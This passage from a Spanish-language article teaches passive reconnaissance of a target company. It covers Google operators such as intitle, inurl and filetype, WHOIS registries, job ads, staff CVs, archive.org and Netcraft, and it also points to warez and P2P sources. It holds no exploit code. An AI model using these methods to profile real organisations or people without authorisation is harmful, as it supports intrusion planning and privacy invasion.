• Números telefónicos.
• Contactos de la compañía.
• Información mal intencionada o de desprestigio.
• Directivas de seguridad.
• Archivos de configuración.
• Currículos de personal.
• Arquitecturas de red.
• Tecnologías utilizadas.
• Etc…Todo es posible solo imagínate y buscaló.

Lo primero que debemos recordar es que Google es nuestro amigo, y en muchas ocasiones todo lo sabe, sin embargo no es la única fuente donde buscar información. A continuación listo algunos de los sitios que pueden contener información valiosa para nuestro objetivo:

• Google
• Usenet
• Groups.google
• http://archives.neohapsis.com
• NIC ( O su representante dependiendo la localidad donde nos encontremos)
  • Europa y África http://www.ripe.net
  • Norte y Sur América http://www.arin.net
  • Asia Pacifico http://www.apnic.net
  • http://www.ripe.net
• Edgar Database
• La pagina de la compañía.
• Paginas que hablen mal de compañías:
  • www.apestan.com
  • www.f u c k edcompany.com
  • www.dotcomtod.de
• Buscar en base de datos de ofertas de trabajo en línea:
  • OCC Mundial
  • Lucas5
  • Laborum
• Fuentes P2P como kazaa,Gnutella así como sitios warez

Casi siempre nuestras búsquedas de información comienzan con Google, por su versatilidad y gran poder de búsqueda. Google cuenta con palabras claves que nos permiten realizar búsquedas mas especializadas de información a continuación mencionare algunas de ellas:

• intitle ( Nos permite realizar búsquedas en los títulos de las paginas web)
• inurl ( Nos permite realizar búsquedas en los URL de las paginas)
• filetype ( Nos permite definir las búsquedas de ciertos tipos de archivos)
• site ( Nos permite definir la búsqueda en sitios concretos)
• cache ( Realizamos búsquedas en e cache de google y aun que las paginas ya no existan mas podremos encontrar información valiosa)
• info ( Información relacionada con nuestra búsqueda)
• autor ( Buscar información que ha publicado un autor en especifico)
• group( Búsqueda en grupos de google)
• insubject ( Búsqueda de mensajes en su Asunto)

La manera de usarlo es: ‘operador avanzado:lo que buscamos’. Un buen ejemplo para mostrar es el siguiente:

intitle:”index of” + ebooks +”Google Hacking”

La combinación anterior nos permitirá buscar el Libro Google Hacking donde podemos aprender mas de como utilizar google para nuestros propósitos. ( Recuerda siempre comprar los libros que utilices)

Otro buscador donde podemos encontrar mucha información es : http://www.kartoo.com/

kartoo es un innovador buscador que nos permite generar mapas de la información que buscamos. A que me refiero con mapas, ver de una manera gráfica donde se menciona la información de la busqueda realiza a continuación muestro una imagen de una búsqueda de la palabra darkslaker

Como se puede notar la palabra se relaciona con listas de seguridad informática, asi como otros seudonimos como Rienzi.

Con este tipo de búsquedas podemos encontrar la relaciones de organizaciones, con personas.

Otro buen lugar para buscar información de organizaciones es la busqueda de Curriculums o vacantes en las organizaciones a continuación muestro un ejemplo de una vacante:

Nivel de Estudios: Ingeniero en Sistemas Computacionales, enfocado a telecomunicaciones
Experiencia: Mínima de 2 - 3 años comprobables en puesto similar
Amplio dominio de Sistemas Operativos
Alto nivel en Administración y configuración de redes
Alto nivel en Redes de Voz/Datos (TCP/IP, routing, firewall, QoS, DNS)
Alto nivel de conocimiento en Hardware orientado a Telecomunicaciones
Análisis, diseño e implementación de esquemas de alta seguridad
Amplio dominio de Sistemas Operativos Windows NT, 200X Server
Amplio dominio de Conmutadores y PBX
Alto grado de resposabilidad y compromiso
Trabajo bajo presión y metas Disponibilidad de horario Disponibilidad Inmediata
Alta capacidad de aprendizaje rápido
Inglés técnico mínimo: 80% Conocimientos de Citrix y Cisco Indispensable
EstabilidadAgradable ambiente laboral 

La información que se muestra en color rojo, nos puede brindar un mapa de las tecnologías que utiliza la organización.

Un par de lugares mas que nos puede ayudar a conocer las tecnologías de una organización es :

http://www.archive.org La cual nos brinca un histórico de como eran las paginas web, a medida del tiempo, con esto podemos crear un mapa de las tecnologías en sitios web.

http://www.netcraft.com Nos permite una mirada de un historico de las técnologias en servidores Web y provedores de servicios en una organización, la siguiente imagen nos muestra un historico de www.nimrod.com.mx

La información que podemos encontrar me manera publica es inmensa y las posibilidades se extiende con tiempo y deseos de encontrarla.

En la siguiente entrega del articulo se mostrara como identificar nombres de dominio de una organización así como los segmentos de red públicos de la misma y sus ISP.